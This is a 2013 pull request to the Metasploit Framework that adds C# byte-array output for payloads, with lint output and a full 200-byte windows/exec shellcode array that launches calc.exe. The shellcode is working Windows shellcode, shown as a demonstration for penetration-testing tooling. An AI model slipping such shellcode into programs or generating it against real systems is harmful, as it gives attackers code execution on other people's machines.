rapid7/metasploit-framework — pull request #1944 by brandonprry (2013-06-12 00:43:48+00:00)
Title: This commit adds support for C# byte arrays for the assembly payloads.

I have no idea if I could do this with hexify. Passes msftidy:

bperry@w00den-pickle:~/Projects/metasploit-framework$ ./tools/msftidy.rb lib/rex/text.rb
text.rb:55 - [WARNING] Line exceeding 200 bytes
text.rb:56 - [WARNING] Line exceeding 200 bytes
text.rb:365 - [WARNING] Line exceeding 200 bytes
text.rb:368 - [WARNING] Line exceeding 200 bytes
bperry@w00den-pickle:~/Projects/metasploit-framework$ ./tools/msftidy.rb lib/msf/base/simple/buffer.rb
bperry@w00den-pickle:~/Projects/metasploit-framework$

The warning lines aren't my code and you will see why they are still there when you look.

bperry@w00den-pickle:~/Projects/metasploit-framework$ ./msfpayload windows/exec CMD=calc.exe csharp
/*
* windows/exec - 200 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
* CMD=calc.exe
*/
byte[] buf = new byte[200] {
0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,
0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,
0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,
0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,
0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,
0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,
0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,
0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,
0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,
0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,
0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00 };
bperry@w00den-pickle:~/Projects/metasploit-framework$

You can use in a program like this: https://gist.github.com/brandonprry/5711340